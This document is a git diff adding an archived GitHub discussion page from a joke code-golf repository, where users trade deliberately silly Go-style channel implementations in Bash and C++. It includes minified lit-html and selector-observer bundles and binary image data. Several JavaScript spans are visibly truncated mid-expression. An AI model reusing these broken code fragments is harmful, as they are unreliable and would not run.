a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 8: Create Go channels… without Go channels · Discussion #9 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #9  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 8: Create Go channels… without Go channels + + #9 +

    +
    + Unanswered +
    + + mpldr + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 8: Create Go channels… without Go channels + + #9 +
    +
    +
    + + +
    + on Apr 27, 2021 + · + 3 answers + · + 1 reply +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 27, 2021 + + +
    + + + Collaborator + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    This one is a bit different:
    +We want a channel implementation at least similar to channels in Go. Unbuffered channels to be more precise.

    +

    A short rundown:

    +
      +
    • a channel can "transport" any type
    • +
    • a channel write is blocking until the value is consumed
    • +
    • similarly a read is blocking until a value is received
    • +
    • channels can be reused
    • +
    +

    The solution being stable, secure, or sensible is not part of the problem.

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 3 suggested answers +
    + +
    + · +
    + +
    + 1 reply +
    +
    + + +
    + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 27, 2021 + + +
    + + + Collaborator + + + + Author + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    I fear this one might actually be useful… but hey, even a blind hen sometimes finds a grain of corn.

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 27, 2021 + + +
    + + + Collaborator + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/channels/bashnels.sh

    +

    Is it tested? only for the most basic of use-cases.
    +Is it working? surprisingly: yes
    +Is it stable? depends on your definition of stable.

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 27, 2021 + + +
    + + + Maintainer + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/channels/channels.cpp

    +

    A "modern C++" solution by hacking together some C++ 17 and C++ 20 features such as std::any, auto, and concepts. std::any + in particular feels like such a crazy hack of a language that has +deviated so much from C by trying to do everything possible. Obviously, +this a naïve implementation that should not be used if you're actually +working with concurrency. Among the many flaws, reads will consume 100% +CPU in the while loop until it receives a value.

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 1 reply + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @mpldr
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + mpldr + + + + on Apr 28, 2021 + + +
    + + + Collaborator + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +
    +

    reads will consume 100% CPU in the while loop

    +
    +

    That's just a free bonus :D

    +

    I haven't tried it yet, but does it block on write? because then it should not be able to run… or better: finish

    +
    + +
    + +
    + + + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 2 participants +
    + +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + + +
      + Loading... +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 